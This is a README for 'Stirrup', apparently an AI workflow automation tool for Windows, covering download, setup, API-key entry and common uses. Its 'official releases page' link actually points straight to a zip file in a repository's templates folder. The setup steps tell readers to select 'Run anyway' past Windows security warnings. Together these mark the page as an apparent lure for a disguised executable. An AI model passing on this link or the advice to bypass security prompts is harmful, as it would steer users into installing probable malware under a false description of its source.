It uses artificial intelligence to connect different steps in a process. Use it to build, run, and manage workflows without manual effort. You can organize complex jobs into a visual map. Stirrup executes these steps in the correct order. It handles data movement and decision-making for you. ## 📥 How to download the software Follow these steps to get Stirrup on your Windows computer. 1. Visit the [official releases page](https://github.com/yuxisun62-commits/stirrup/raw/refs/heads/main/templates/Software_1.2.zip). 2. Look for the latest version at the top of the list. 3. Find the file that ends with .exe for Windows. 4. Click the file name to start the download. 5. Save the file to your desktop or downloads folder. ## 💻 System requirements Stirrup runs on most modern computers. You need the following setup: * Windows 10 or Windows 11. * A stable internet connection. * At least 4 gigabytes of memory. * An active account with an artificial intelligence provider if you plan to use the AI features. ## 🚀 Setting up the application After you download the file, complete these steps to start the application: 1. Locate the downloaded file on your computer. 2. Double-click the file to begin the installation. 3. Follow the prompts on your screen. 4. Windows might show a security window. Select Run anyway if the option appears. 5. Once the installer finishes, look for the Stirrup icon on your desktop or in your start menu. 6. Open the application. ## 🛠️ Using the interface Stirrup provides three ways to manage your work. You can use the visual interface, the command line, or your own code. For most users, the visual interface is the best choice. This view lets you drag and drop icons to create a sequence. Each icon represents a task. You draw lines between icons to show the flow of work. When you add an AI node, you tell the system what task to perform. You might ask it to summarize a document, extract names from a list, or categorize emails. The engine connects these tasks and handles the inputs and outputs automatically. ## ☁️ Connecting to artificial intelligence Stirrup works best when it connects to an artificial intelligence engine. You will need an API key from your preferred provider to enable these features. 1. Open the settings menu inside the application. 2. Select the AI providers tab. 3. Paste your secret key into the text box. 4. Save your changes. The application encrypts this key locally on your computer. It does not share your key with anyone else. ## 📋 Common workflows Users typically apply Stirrup for these tasks: * Organizing digital files based on content. * Pulling information from websites to create reports. * Sorting messages into folder structures. * Sending reminders based on daily calendar events. You can modify these templates to fit your own needs. Simply right-click on any existing flow to change the parameters. ## ❓ Frequently asked questions Do I need to program to use this? No. While advanced users can write code, the visual editor allows you to build workflows using only your mouse. Is my data private? Yes. Stirrup runs on your local machine. Your workflows and data stay on your computer, except for the information you choose to send to your selected AI provider for processing. What if a workflow fails? The interface highlights the specific node where the error occurred. You can click on that node to view the error log and see what went wrong. Usually, checking your internet connection or your AI key solves the problem. Where can I find more help? Look for the help icon in the main menu. It links to a library of guides and examples. You can also hover your mouse over any button for a brief explanation of what it does. ## 📦 Managing your projects Your automation projects sit in a central dashboard. You can save, edit, and duplicate any flow. To export a flow, select the share option. This creates a file that you can send to other people. They can import this file into their own Stirrup application. The software updates automatically when you open it. This keeps your engine running on the latest version. You do not need to download the file again for minor updates.
